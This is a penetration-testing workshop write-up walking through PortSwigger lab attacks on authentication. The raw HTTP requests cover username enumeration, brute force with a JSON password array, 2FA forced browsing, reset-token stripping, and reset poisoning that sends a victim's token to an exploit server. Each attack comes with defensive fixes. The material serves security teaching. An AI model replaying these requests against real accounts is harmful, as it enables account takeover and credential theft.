Security Notice & Lab Scope
This documentation captures official, hands-on penetration testing training conducted during Day 8 of the Ethical Hacking and Penetration Testing Workshop at BugXploit (Koteshwor, Kathmandu). All authentication attacks, brute-force bypasses, 2FA circumventions, and password reset poisoning proof-of-concepts were executed in authorized laboratory environments hosted by the PortSwigger Web Security Academy. Attempting credential stuffing, unauthorized account takeovers, or Host header manipulation against live production web systems without explicit authorization is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber law.
Table of Contents
1. Anatomy of Enterprise Authentication Flaws
Authentication is the primary security boundary of every modern digital application. It verifies the question: "Are you truly who you claim to be?" When authentication fails, all subsequent authorization boundaries (role-based access control, object-level security, tenant isolation) instantly dissolve, leaving critical business systems and customer data completely exposed.
In modern enterprise applications, authentication rarely fails due to broken mathematical cryptography like AES or RSA. Instead, breaches almost universally stem from subtle logical flaws, information leakages through error messages, inconsistent state machines, misconfigured reverse proxies, and assumptions about user input formats.
During Day 8 of the BugXploit workshop, instructors Birendra Sah and Bishal Shrestha guided the cohort through real-world, hands-on lab environments on the PortSwigger Web Security Academy. The goal of this documentation is strictly defensive and educational: by dissecting the exact HTTP requests, Burp Suite mechanics, and backend logic flaws attackers weaponize, software engineers and penetration testers can architect robust, breach-proof authentication systems.
2. Lab 1: Username Enumeration via Response Differences
Lab: Username enumeration via different responses
Vulnerability Category: Information Disclosure in Authentication (CWE-204: Observable Response Discrepancy).
The Core Problem & Developer Flaw
Consider what happens behind the scenes in many naive backend login handlers. A software engineer writes code to optimize database lookups:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.findUser(username);
// FLAW 1: Early exit tells the attacker the username doesn't exist!
if (!user) {
return res.status(200).send({
error: "Invalid username"
});
}
const valid = await bcrypt.compare(password, user.passwordHash);
// FLAW 2: Distinct message confirms username EXISTS!
if (!valid) {
return res.status(200).send({
error: "Incorrect password"
});
}
createSession(res, user);
});
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.findUser(username);
// Always perform hash check to prevent timing analysis!
const dummyHash = "$2b$12$e8uq0e...";
const targetHash = user ? user.passwordHash : dummyHash;
const valid = await bcrypt.compare(password, targetHash);
// UNIFORM RESPONSE: Identical text, length, and timing
if (!user || !valid) {
return res.status(401).send({
error: "Invalid username or password"
});
}
createSession(res, user);
});
When the developer outputs Invalid username for non-existent users and
Incorrect password for real users, an attacker can enumerate every registered account on
the platform with 100% certainty before guessing a single password.
Burp Suite Intruder: Two-Phase Exploitation
To systematically harvest the valid username and password, we use Burp Suite Intruder with a Sniper attack:
Phase 1: Enumerating the Registered Username
-
Capture HTTP Traffic: In your browser (configured through Burp's Proxy on port
8080), enter any test login attempt (e.g.
username=testuser&password=fakepassword). -
Send to Intruder: In Burp Suite, open
Proxy > HTTP history, find thePOST /loginrequest, right-click, and select Send to Intruder (or pressCtrl + I). -
Define Payload Positions: Under the Positions tab, choose
Sniper attack type. Click Clear §, and add markers around the
username field only:
POST /login HTTP/1.1 Host: <target-lab-id>.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 56 csrf=pUf1uX6UuCqLg1fLqC8fXyq0Lq0&username=§testuser§&password=fakepassword -
Load Wordlist: Navigate to the Payloads tab. Under Payload
settings, paste the PortSwigger candidate username wordlist (containing names like
admin,root,carlos,ao,wiener, etc.). -
Launch & Analyze Results: Click Start attack. Sort the results
table by the Length column:
- Every invalid username produces an HTTP 200 with content length 3,312 bytes
and response text:
<p class=is-warning>Invalid username</p>. - Exactly one payload —
ao— produces a response with content length 3,330 bytes and response text:<p class=is-warning>Incorrect password</p>.
Enumeration Confirmed: The usernameaoexists on the server! We now know our high-value target. - Every invalid username produces an HTTP 200 with content length 3,312 bytes
and response text:
Phase 2: Password Brute-Forcing Against the Confirmed User
-
Adjust Intruder Positions: Return to the Intruder Positions tab. Fix the
username value to
ao, clear all markers, and add payload markers around the password field:POST /login HTTP/1.1 Host: <target-lab-id>.web-security-academy.net Content-Type: application/x-www-form-urlencoded csrf=pUf1uX6UuCqLg1fLqC8fXyq0Lq0&username=ao&password=§fakepassword§ - Load Password Wordlist: Under Payloads, paste the candidate password wordlist provided by the lab.
-
Run the Attack: Click Start attack. Observe the
Status column in the Intruder results table:
- 99+ passwords return status
200 OKwith length ~3,330 bytes (displayingIncorrect password). - Exactly one password,
jessica, returns HTTP302 Foundwith a redirection to/my-account?id=aoand a new session cookie!
- 99+ passwords return status
-
Verification: Log in manually in the browser with
ao:jessica. The account dashboard loads and the lab is solved!
3. Defensive Rate-Limiting & Evasion Strategies
To mitigate automated brute-force attacks, security teams install rate-limiters. A rate-limiter tracks authentication attempts across time windows:
- IP-based rate limiting: Allows a maximum of 3 failed attempts per minute from a given IP address.
- Account-based lockout: Locks user
carlosafter 5 consecutive incorrect attempts.
However, rate limiters often have major architectural blindspots that attackers exploit:
1. IP Header Spoofing
When reverse proxies (Nginx, HAProxy, AWS ALB) blindly forward client headers like
X-Forwarded-For or X-Real-IP, attackers can rotate fake IPs on each
request, resetting the rate counter.
2. Password Spraying
Instead of trying 1,000 passwords against 1 account (which triggers lockout), attackers try 1
common password (e.g. Autumn2026!) across 1,000 distinct usernames, staying under
the per-account threshold.
3. Batch Credential Injection
If the API accepts JSON, submitting an entire array of passwords in a single HTTP request packet tests hundreds of passwords while only incrementing the rate-limiter counter by 1!
4. Lab 2: Bypassing Rate Limits via Multiple Credentials (JSON Array)
Lab: Broken brute-force protection, multiple credentials per request
Vulnerability Category: Rate Limit Bypass via Type Juggling / Batch Array Processing (CWE-307: Improper Restriction of Excessive Authentication Attempts).
The Attack Mechanics: Counting Requests vs. Counting Credentials
In this lab, the target account is carlos. If you attempt 3 incorrect passwords via Burp
Intruder or normal login, the server locks you out immediately:
You have made too many incorrect login attempts. Please try again in 1 minute.
Why does this happen? The web application firewall (WAF) or API gateway enforces rate limits by
counting HTTP request invocations. It increments a Redis counter keyed by client IP:
INCR rate_limit:192.168.1.50.
However, look at the structure of the login request when captured in Burp Suite:
POST /login HTTP/2
Host: 0a1f00c90352f3e4821c8da400c9002f.web-security-academy.net
Content-Type: application/json
Content-Length: 48
{"username":"carlos","password":"testpassword"}
Notice that the payload is JSON. In dynamically typed backend languages (or carelessly written type
handlers), if an attacker replaces the single string value "testpassword" with a
JSON array of 100 strings:
const passwords = Array.isArray(req.body.password) ? req.body.password : [req.body.password];
for (let candidate of passwords) {
if (bcrypt.compareSync(candidate, user.passwordHash)) {
req.session.user = user;
return res.redirect('/my-account?id=' + user.username); // AUTHENTICATED!
}
}
return res.status(200).send("Invalid credentials");
The backend loops through each password in the array in a single execution thread. If any password
matches, it logs the user in! Meanwhile, from the perspective of the rate-limiter, only 1
single HTTP request was made! The rate-limiter counter remains at 1 / 3,
completely bypassing the brute-force defense!
Full Step-by-Step Burp Repeater Exploitation
-
Capture the Login Request: Log in once with
carlos:wrongpass. Go toProxy > HTTP history, find thePOST /loginrequest. -
Send to Burp Repeater: Press
Ctrl + R. -
Construct the Full Batch JSON Array: Replace the body with the entire wordlist of
100 candidate passwords formatted as a JSON array:
Burp Repeater: Single HTTP/2 Request Containing All 100 Candidate PasswordsPOST /login HTTP/2
Host: 0a1f00c90352f3e4821c8da400c9002f.web-security-academy.net
Cookie: session=tc5vIGDaX8RP9ycnF62WGm4yIfhsG7X2
Content-Type: application/json
Content-Length: 1042
{"username":"carlos","password":[
"123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111",
"1234567", "dragon", "123123", "baseball", "football", "welcome", "sunshine", "monkey",
"letmein", "charlie", "donald", "mustang", "princess", "shadow", "master", "michael",
"superman", "696969", "harley", "jordan", "killer", "trustno1", "hunter", "liverpool",
"chelsea", "arsenal", "alexander", "starwars", "orange", "yellow", "freedom", "secret",
"pepper", "cookie", "summer", "winter", "spring", "autumn", "diamond", "emerald",
"computer", "internet", "network", "windows", "linux", "system", "admin", "carlos",
"barcelona", "madrid", "brazil", "argentina", "london", "paris", "tokyo", "newyork",
"matrix", "batman", "pokemon", "spiderman", "robert", "thomas", "william", "daniel",
"coffee", "ginger", "chester", "bailey", "buster", "shadow", "simba", "bandit",
"buster", "sammy", "tucker", "montana", "moon", "moscow"
]} - Dispatch the Request: In Burp Repeater, click Send.
-
Inspect Response: Because Carlos's real password (e.g.
montana) is inside the array, the backend matches it during the loop and immediately returns an HTTP302 Foundredirection with a valid session cookie:HTTP/2 302 Found Location: /my-account?id=carlos Set-Cookie: session=zXDZ44Wiyy9FCEfgcs3G2sSC98nJfHNz; Secure; HttpOnly; SameSite=None X-Frame-Options: SAMEORIGIN Content-Length: 0 -
Hijack the Session in Browser: In Burp Repeater, right-click anywhere in the
response pane, select Show response in browser, click Copy, and
paste the URL (e.g.,
http://burpsuite/show/1/...) into your proxy-configured browser. The page renders Carlos's account, solving the lab!
req.body.password is anything
other than a primitive string, reject the entire request immediately with HTTP 400 Bad Request:
// Strict schema validation with Joi / Zod
const schema = z.object({
username: z.string().min(1).max(50),
password: z.string().min(1).max(128) // Rejects arrays, objects, or non-strings!
});
5. Two-Factor Authentication (2FA) Architecture & Attack Vectors
Two-Factor Authentication (2FA) requires two distinct verification categories:
- Knowledge Factor: Something the user knows (password, PIN).
- Possession Factor: Something the user has (hardware YubiKey, Authenticator app TOTP, SMS code).
While 2FA is an industry standard, flawed implementations often suffer from critical vulnerabilities:
1. State Machine Desynchronization
The backend issues a full session cookie right after the password check, and merely uses client-side JavaScript or a temporary route redirect to show the 2FA prompt. The authenticated dashboard routes never verify if the 2FA flag was actually approved.
2. Delivery Channel Vulnerabilities
Email 2FA: If an attacker compromises the victim's email, both factors are
breached simultaneously.
SMS 2FA: Vulnerable to SIM-swapping, SS7 telecom interception, and carrier
phishing. Hardware security keys (FIDO2 / WebAuthn) remain the gold standard.
6. Lab 3: 2FA Simple Bypass via Forced Browsing
Lab: 2FA simple bypass
Vulnerability Category: Broken State Machine & Forced Browsing (CWE-287: Improper Authentication).
Vulnerability Root Cause
In this lab, you are given your own credentials (wiener:peter) and target victim
credentials (carlos:montoya).
When you submit a username and password, the server responds with:
HTTP/2 302 Found
Location: /login2
Set-Cookie: session=Bqf9YxO24...; Path=/; Secure; HttpOnly
Notice the severe design failure: The server created an active session cookie before 2FA
verification took place. The application assumes that because it redirected the client's
browser to /login2, the user is forced to enter the 2FA code. But HTTP is stateless! The
client controls the browser address bar and can request any URL at will.
Step-by-Step Exploitation
-
Establish Normal Flow: Log in as
wiener:peter. The browser is redirected to/login2. Check your email client, retrieve the 4-digit code (e.g.,0491), enter it, and observe the destination URL:GET /my-account?id=wiener HTTP/1.1 - Log Out: Click Log out to clear your session.
-
Login as Victim: Enter
carlos:montoyaon the login page. -
Intercept the 2FA State: The browser is redirected to
/login2and prompts for Carlos's 4-digit 2FA code (which is sent to Carlos's private email, inaccessible to us). -
Execute Forced Browsing: Do NOT submit any 2FA code. Instead, manually edit the URL
bar in your browser to:
and hit Enter!https://<target-lab-id>.web-security-academy.net/my-account -
Bypass Confirmed: Because the backend endpoint
/my-accountonly checks:
The server renders Carlos's account page, achieving full bypass and solving the lab!if (session.loggedIn) { ... } // Fails to check: if (!session.twoFactorCompleted)
/verify-2fa endpoint:
// Middleware protecting all /account routes
function requireFullAuth(req, res, next) {
if (!req.session.userId) return res.redirect('/login');
if (req.session.twoFactorRequired && !req.session.twoFactorVerified) {
return res.status(403).json({ error: "2FA verification required" });
}
next();
}
7. Lab 4: Password Reset Broken Logic (Token Stripping)
Lab: Password reset broken logic
Vulnerability Category: Parameter Tampering & Broken State Handling in Password Reset (CWE-640: Weak Password Recovery Mechanism).
How the Flawed Reset Mechanism Works
When a legitimate user resets their password, a secure application generates a cryptographically random token tied to their database record:
- User requests password reset for
wiener. - Server generates
token_abc123and saves it in the database:users[wiener].reset_token = "token_abc123". - User clicks the email link:
/forgot-password?temp-forgot-password-token=token_abc123. - User submits a new password. The server checks: "Does this token exist? Which user does this token belong to?" It resets that user's password.
However, in this vulnerable application, the password reset form embeds a hidden field containing the username:
POST /forgot-password?temp-forgot-password-token=q1w2e3r4t5y6 HTTP/1.1
Host: <target-lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
temp-forgot-password-token=q1w2e3r4t5y6&username=wiener&new-password-1=password123&new-password-2=password123
Look at the dangerous logic flaw in how the backend processes this submission:
const targetUser = await db.getUser(req.body.username);
// If token parameter is missing or empty, this check evaluates to TRUE or is bypassed!
if (req.body.temp-forgot-password-token) {
if (req.body.temp-forgot-password-token !== targetUser.resetToken) {
return res.send("Invalid token");
}
}
// Because Carlos never requested a reset, Carlos.resetToken is null / unassigned!
// If the attacker provides an empty token or removes it, the condition passes!
targetUser.password = hash(req.body.new-password-1);
await targetUser.save();
Step-by-Step Exploitation via Token Stripping
-
Request Password Reset on Controlled Account: Go to the login page, click
Forgot password?, and submit
wiener. - Open Email Client: Click the password reset link delivered to Wiener's inbox. The reset form loads in your browser.
-
Intercept Form Submission: Type a new password (e.g.
password123). In Burp Suite, turn Intercept on, and click Submit. -
Send to Repeater & Tamper Parameters: Send the captured
POST /forgot-passwordrequest to Burp Repeater (Ctrl + R). -
Strip the Token & Switch Username: In Burp Repeater:
- Delete the token value from the query string:
?temp-forgot-password-token=(or remove the parameter completely). - In the body, delete the
temp-forgot-password-tokenparameter entirely. - Change
username=wienertousername=carlos. - Set
new-password-1=hacked123&new-password-2=hacked123.
Burp Repeater: Tampered RequestPOST /forgot-password?temp-forgot-password-token= HTTP/1.1
Host: <target-lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
username=carlos&new-password-1=hacked123&new-password-2=hacked123 - Delete the token value from the query string:
-
Execute Attack: Click Send. The server responds with an HTTP
302 Foundredirecting to/login! Carlos's password has been successfully overwritten! -
Log In as Carlos: In the browser, log in with
carlos:hacked123to achieve complete account takeover.
8. Host Header Injection & Reverse Proxy Middleware
Modern web architectures place applications behind reverse proxies, CDNs, and load balancers (Cloudflare, AWS CloudFront, Nginx). When a client connects to the proxy, the proxy forwards the request to internal application servers.
To keep track of what original domain the client visited, reverse proxies insert headers such as:
Host: victim-bank.comX-Forwarded-Host: victim-bank.comX-Forwarded-Proto: https
The critical flaw occurs when developers construct absolute URLs using user-controlled HTTP headers:
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : $_SERVER['HTTP_HOST'];
$resetLink = "https://" . $host . "/forgot-password?token=" . $secureToken;
// Email sent to victim:
mail($victimEmail, "Reset Your Password", "Click here: " . $resetLink);
9. Lab 5: Password Reset Poisoning via Middleware
Lab: Password reset poisoning via middleware
Vulnerability Category: Password Reset Poisoning / Host Header Injection (CWE-640 & CWE-20).
The Attack Mechanics: Hijacking the Reset Link Domain
If an attacker triggers a password reset for carlos while injecting their own domain into
X-Forwarded-Host, the backend generates a 100% legitimate cryptographic reset token for
Carlos, but embeds it into a URL pointing to the attacker's server!
When Carlos opens his email and clicks the reset link, his browser sends the secret reset token directly into the attacker's web server access logs!
Full Step-by-Step Exploitation
-
Obtain Attacker Exploit Server URL: In the PortSwigger lab banner, click Go
to exploit server. Note your unique domain (e.g.
exploit-0a2b00c3...exploit-server.net). -
Capture the Password Reset Request: On the lab website, click Forgot your
password?, enter
carlos, and submit the form while intercepting in Burp Suite. -
Send to Burp Repeater: Find the
POST /forgot-passwordrequest in Burp Proxy history and send it to Repeater. -
Inject X-Forwarded-Host Header: In Burp Repeater, inject the
X-Forwarded-Hostheader pointing to your exploit server:Burp Repeater: Poisoned Password Reset RequestPOST /forgot-password HTTP/1.1
Host: 0af200d704543d3b80b2a75800dc00cb.web-security-academy.net
X-Forwarded-Host: exploit-0a2b00c304243d54807ea62f01700067.exploit-server.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
csrf=G7b4vI3zR0hZ2...&username=carlos -
Dispatch Poisoned Request: Click Send. The server responds with
HTTP
200 OK: "Please check your email for a password reset link." -
Victim Interaction & Token Harvest: The simulated victim (Carlos) opens his
email and clicks the link. Go to your Exploit Server tab and click Access log. Look
at the bottom entries:
Carlos's secret token (Attacker Exploit Server: Captured Access Log Entry10.0.4.128 - - [16/Sep/2026:06:22:45 +0000] "GET /forgot-password?temp-forgot-password-token=M8aK1pL0vX4eQ9wZ2nR7 HTTP/1.1" 404 "User-Agent: Mozilla/5.0..."
M8aK1pL0vX4eQ9wZ2nR7) was delivered right into our hands! -
Execute Account Takeover: In your browser, navigate to the legitimate target lab
domain, appending Carlos's stolen token:
https://0af200d704543d3b80b2a75800dc00cb.web-security-academy.net/forgot-password?temp-forgot-password-token=M8aK1pL0vX4eQ9wZ2nR7 -
Reset Password: Enter a new password (e.g.
password123). Submit the form and log in as Carlos. The lab is completed!
10. Defense-in-Depth & Remediation Architecture
To protect modern enterprise systems against the complete spectrum of authentication flaws discovered on Day 8, engineering teams must implement defense-in-depth across the code, architecture, and network layers:
-
1. Eliminate Observable Response Discrepancies: Always return uniform error
messages ("Invalid username or password"). Ensure the response byte length, HTTP status
code (
401 Unauthorized), and execution timing (via constant-time comparison) are strictly identical regardless of whether the user exists. -
2. Enforce Strict Parameter Types & Schema Validation: Never trust request
data types. Use validation libraries (Zod, Pydantic, Joi) to strictly reject arrays or objects
on password fields:
if (typeof req.body.password !== 'string') return res.status(400).send("Invalid input"); - 3. Count Credentials, Not HTTP Packets: In API gateways and rate-limiters, charge rate-limiting quotas based on the number of credentials processed rather than raw HTTP requests.
- 4. Enforce Multi-Stage State Verification for 2FA: Never issue an active session cookie upon Stage 1 (password) verification. Issue a temporary, non-privileged token that can only be redeemed at the 2FA endpoint. Verify 2FA status at every protected endpoint.
-
5. Never Construct URLs from Dynamic Request Headers: Never trust
Host,X-Forwarded-Host, orClient-IPheaders for sensitive application logic. Always store the canonical base URL in secure environment variables:const resetLink = `${process.env.APP_BASE_URL}/forgot-password?token=${secureToken}`; - 6. Cryptographically Bind Reset Tokens to Users: Password reset tokens must be tied to a specific user ID in the database, single-use, and expire within a short window (e.g. 15 minutes). The reset form must never rely on a client-submitted username field.
11. Day 8 Summary & Key Takeaways
Summary of Day 8 Practical Findings
- Enumeration Feeds Brute-Force: Subtle differences in error messages
(
Invalid usernamevsIncorrect password) allow attackers to isolate valid accounts and focus computational power with sniper accuracy. - Array Types Circumvent Rate Limits: Submitting 100 passwords in a JSON array within a single HTTP request packet exploits WAFs that only count request packets.
- 2FA Requires Server-Side State Gates: If sensitive endpoints fail to verify 2FA
completion, forced browsing directly to
/my-accountbypasses the second factor entirely. - Middleware Trust Boundaries Enable Account Takeovers: Forwarding headers like
X-Forwarded-Hostwithout validation allows unauthenticated attackers to steal password reset tokens out-of-band.
DEFENSIVE LEARNING NOTICE: Strictly For Educational & Security Engineering Purposes
All penetration testing methodologies, raw HTTP payloads, and Burp Suite walk-throughs documented in this report were performed strictly within authorized PortSwigger Web Security Academy laboratory environments during the BugXploit workshop. We do not promote, condone, or encourage any illegal activity. This report is published so developers and security practitioners can understand how authentication vulnerabilities are exploited and engineer resilient defenses against unauthorized account takeovers. Attempting these attacks against systems without prior written authorization is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber laws.